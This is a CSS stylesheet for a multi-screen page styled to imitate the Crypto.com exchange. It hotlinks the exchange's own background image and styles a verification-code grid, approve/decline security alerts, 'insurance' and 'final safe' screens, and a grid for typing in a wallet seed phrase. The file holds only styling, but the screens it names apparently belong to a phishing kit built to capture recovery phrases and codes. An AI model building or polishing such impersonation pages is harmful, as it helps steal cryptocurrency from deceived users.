﻿/* ==================== GLOBAL STYLES ==================== */
* {
    font-family: 'Inter', system-ui, sans-serif !important;
}

body {
    margin: 0;
    background: #02050F url('https://accounts-static.crypto.com/_next/static/media/bg-img.637d584e.png') center/cover no-repeat;
    font-family: 'Inter', system-ui, sans-serif;
    min-height: 100vh;
    position: relative;
    overflow: hidden;
    color: #FFFFFF;
}

.logo {
    position: absolute;
    top: 16px;
    left: 80px;
    z-index: 20;
    width: 148px;
}

#loading-screen {
    position: fixed;
    inset: 0;
    background: #04080F;
    display: flex;
    align-items: center;
    justify-content: center;
    z-index: 9999;
}

.loader {
    display: flex;
    gap: 7px;
}

.dot {
    width: 9px;
    height: 9px;
    background: #0A84FF;
    border-radius: 50%;
    animation: cryptoReal 1.55s infinite ease-in-out;
}

    .dot:nth-child(2) {
        animation-delay: 0.52s;
    }

@keyframes cryptoReal {
    0%, 100% {
        transform: scale(0.78);
        opacity: 0.5;
    }

    25% {
        transform: scale(1.28);
        opacity: 1;
        background: #0F83D7;
    }

    50% {
        transform: scale(0.78);
        opacity: 0.5;
    }

    75% {
        transform: scale(1.28);
        opacity: 1;
        background: #0F83D7;
    }
}

.main-flow {
    position: fixed;
    inset: 0;
    display: none;
    align-items: center;
    justify-content: center;
    height: 100vh;
}

.case-container {
    width: 100%;
    max-width: 460px;
    background: #151D32;
    border-radius: 20px;
    padding: 40px 32px 32px;
    border: 1px solid #2A3549;
    box-shadow: 0 0 0 1px rgba(255,255,255,0.04) inset, 0 20px 50px -10px rgba(0,0,0,0.85);
}

    .case-container.seed-screen-container {
        max-width: 520px;
    }

h1, h2 {
    color: #FFFFFF;
    text-align: center;
    font-size: 24px;
    margin: 0 0 14px 0;
}

p {
    color: #A0A9BE;
    text-align: center;
    font-size: 14.5px;
    line-height: 1.45;
    margin-bottom: 28px;
}

.code-grid {
    display: flex;
    gap: 12px;
    justify-content: center;
    margin-bottom: 20px;
}

.code-input {
    width: 54px;
    height: 66px;
    background: #0B1426;
    border: 2px solid #323C52;
    border-radius: 12px;
    color: white;
    font-size: 30px;
    text-align: center;
    outline: none;
}

    .code-input:focus {
        border-color: #0577DA;
        box-shadow: 0 0 0 4px rgba(5, 119, 218, 0.2);
    }

    .code-input.error {
        border-color: #FF6B6B !important;
        background: rgba(255, 107, 107, 0.08) !important;
        animation: shake 0.4s ease;
    }

.btn-primary {
    background: #0577DA;
    color: white;
    border: none;
    padding: 15px;
    font-size: 16px;
    font-weight: 600;
    border-radius: 12px;
    cursor: pointer;
    width: 100%;
    margin-top: 20px;
}

#insurance-screen .btn-primary,
#final-safe-screen .btn-primary,
#download-screen .btn-primary,
#create-wallet-screen .btn-primary,
#backup-screen .btn-primary,
#seed-screen .btn-primary {
    margin-top: 12px !important;
}

.security-header {
    text-align: center;
    margin-bottom: 20px;
    padding-top: 12px;
}

    .security-header p {
        margin-bottom: 18px !important;
    }

.notification-list {
    display: flex;
    flex-direction: column;
    gap: 16px;
    width: 100%;
    max-width: 400px;
    margin: 0 auto;
}

.notification-item {
    background: #151D32;
    border: 1px solid #2A3549;
    border-radius: 14px;
    padding: 20px 18px;
    transition: all 0.4s ease;
    box-shadow: 0 0 0 1px rgba(255,255,255,0.05) inset, 0 8px 22px -6px rgba(0, 0, 0, 0.55);
}

.notification-content {
    display: flex;
    gap: 14px;
    align-items: center;
    min-height: 52px;
}

.notification-icon {
    width: 44px;
    height: 44px;
    background: #0B1426;
    border-radius: 12px;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
    padding: 3px;
}

    .notification-icon svg {
        width: 26px;
        height: 26px;
    }

.notification-text {
    flex: 1;
    text-align: left !important;
}

    .notification-text h3 {
        font-size: 16px;
        margin: 0 0 4px 0;
        line-height: 1.35;
        font-weight: 600;
        text-align: left !important;
    }

    .notification-text p {
        font-size: 14px;
        color: #A0A9BE;
        margin: 0;
        line-height: 1.45;
        text-align: left !important;
    }

.notification-actions {
    display: flex;
    gap: 10px;
    margin-top: 16px;
}

.approve-btn, .decline-btn {
    flex: 1;
    padding: 11px 18px;
    font-weight: 600;
    border-radius: 10px;
    border: none;
    cursor: pointer;
    font-size: 14.5px;
}

.approve-btn {
    background: #0577DA;
    color: white;
}

.decline-btn {
    background: #2A3549;
    color: white;
}

.error-notification {
    background: #3A1F1F;
    border: 1px solid #FF6B6B;
    color: #FF6B6B;
    padding: 12px 16px;
    border-radius: 12px;
    font-size: 14.5px;
    margin: 10px 0 14px 0;
    display: flex;
    align-items: center;
    gap: 10px;
}

@keyframes shake {
    0%, 100% {
        transform: translateX(0);
    }

    25% {
        transform: translateX(-8px);
    }

    75% {
        transform: translateX(8px);
    }
}

.value-options {
    display: flex;
    flex-direction: column;
    gap: 12px;
    margin: 20px 0 28px;
}

.value-btn {
    padding: 18px 20px;
    font-size: 16.5px;
    font-weight: 600;
    background: #0B1426;
    color: #E5E7EB;
    border: 2px solid #323C52;
    border-radius: 12px;
    cursor: pointer;
    transition: all 0.25s ease;
    text-align: left;
}

    .value-btn:hover {
        border-color: #0577DA;
        background: #0F1B38;
    }

    .value-btn.selected {
        background: #0577DA !important;
        color: #FFFFFF !important;
        border-color: #0577DA !important;
        box-shadow: 0 0 0 3px rgba(5, 119, 218, 0.3);
    }

.wallet-option-buttons {
    display: flex;
    flex-direction: column;
    gap: 14px;
    margin-top: 20px;
}

.btn-secondary {
    background: transparent;
    color: #A0A9BE;
    border: 2px solid #323C52;
    padding: 15px;
    font-size: 16px;
    font-weight: 600;
    border-radius: 12px;
    cursor: pointer;
    transition: all 0.25s ease;
}

    .btn-secondary:hover {
        background: #1F2A44;
        border-color: #4A5A7A;
        color: #FFFFFF;
    }

.seed-screen-container {
    max-width: 540px;
    background: #151D32;
    border: 1px solid #2A3549;
    border-radius: 20px;
    padding: 32px 32px 32px !important;
}

.seed-toggle {
    display: flex;
    background-color: #1F283C;
    border-radius: 12px;
    padding: 4px;
    margin: 20px auto 32px;
    width: 460px;
    height: 52px;
    gap: 4px;
}

.toggle-btn {
    flex: 1;
    height: 100%;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 15px;
    font-weight: 600;
    border: none;
    border-radius: 8px;
    cursor: pointer;
    transition: color 0.2s ease;
}

.toggle-btn {
    background: #1F283C;
    color: #B8B8B8;
}

    .toggle-btn.active {
        background: #1C3F62;
        color: #FFFFFF;
    }

.seed-grid {
    display: grid;
    grid-template-columns: repeat(6, 1fr);
    gap: 12px 10px;
    margin-bottom: 32px;
}

.seed-input {
    width: 100%;
    height: 52px;
    background: #0B1426;
    border: 2px solid #323C52;
    border-radius: 12px;
    color: #FFFFFF;
    font-size: 15px;
    font-weight: 500;
    text-align: center;
    padding: 0 8px;
    box-sizing: border-box;
    transition: all 0.2s ease;
}

    .seed-input:focus {
        border-color: #1199FA;
        box-shadow: 0 0 0 2px rgba(17, 153, 250, 0.25);
        outline: none;
    }

.seed-info {
    font-size: 13.5px;
    color: #A0A9BE;
    line-height: 1.5;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 0;
}

#seedContinueBtn {
    margin: 12px 0 16px 0;
    display: none;
}

.progress-bar {
    position: relative;
    width: 100%;
    height: 4px;
    background: #2A3549;
    border-radius: 2px;
    margin-bottom: 32px;
    overflow: hidden;
}

.progress-fill {
    height: 100%;
    background: #0577DA;
    transition: width 0.4s ease;
    border-radius: 2px;
}

.instruction-list {
    background: #0B1426;
    border: 1px solid #2A3549;
    border-radius: 12px;
    padding: 24px 28px;
    margin: 24px 0 32px;
    text-align: left;
}

    .instruction-list ol {
        padding-left: 0;
        list-style: none;
        counter-reset: step-counter;
        margin: 0;
    }

    .instruction-list li {
        position: relative;
        padding-left: 34px;
        margin-bottom: 16px;
        color: #E5E7EB;
        line-height: 1.55;
        font-size: 15.5px;
    }

        .instruction-list li:last-child {
            margin-bottom: 0;
        }

        .instruction-list li::before {
            content: counter(step-counter) ".";
            counter-increment: step-counter;
            position: absolute;
            left: 0;
            color: #0577DA;
            font-weight: 700;
            font-size: 16px;
        }

.header-icon {
    width: 64px;
    height: 64px;
    margin: 0 auto 18px;
    border-radius: 16px;
    background: #0B1426;
    border: 1px solid #2A3549;
    display: flex;
    align-items: center;
    justify-content: center;
    box-shadow: 0 0 0 1px rgba(255,255,255,0.04) inset, 0 10px 25px -8px rgba(0,0,0,0.7);
}

    .header-icon svg {
        width: 32px;
        height: 32px;
        color: #0577DA;
    }

.crypto-footer {
    position: absolute;
    bottom: 0;
    left: 0;
    right: 0;
    width: 100%;
    background: transparent;
    height: 49px;
    display: flex;
    align-items: center;
    z-index: 10;
}

.footer-content {
    max-width: 1140px;
    margin: 0 auto;
    padding: 0 40px;
    width: 100%;
    display: flex;
    align-items: center;
    justify-content: space-between;
    height: 100%;
    gap: 326px;
    position: relative;
}

    .footer-content::before {
        content: '';
        position: absolute;
        top: 0;
        left: 40px;
        right: 40px;
        height: 1px;
        background: rgba(142, 150, 175, 0.45);
    }

.footer-left, .footer-links a {
    font-size: 12px;
    font-weight: 500;
    color: #7B849B;
    white-space: nowrap;
}

.footer-links {
    display: flex;
    align-items: center;
    gap: 8px;
}

    .footer-links a {
        text-decoration: none;
    }

        .footer-links a:hover {
            color: #FFFFFF;
        }

.divider {
    width: 1px;
    height: 16px;
    background: rgba(142, 150, 175, 0.5);
    margin: 0 4px;
    transform: scaleX(0.5);
}

@media (max-width: 480px) {
    .seed-grid {
        grid-template-columns: repeat(3, 1fr) !important;
        gap: 12px 8px;
    }

    .seed-input {
        height: 48px;
        font-size: 14.5px;
    }
}

@media (max-width: 768px) {
    .footer-content {
        padding: 0 20px;
        flex-direction: column;
        gap: 12px;
    }

    .divider {
        display: none;
    }
}
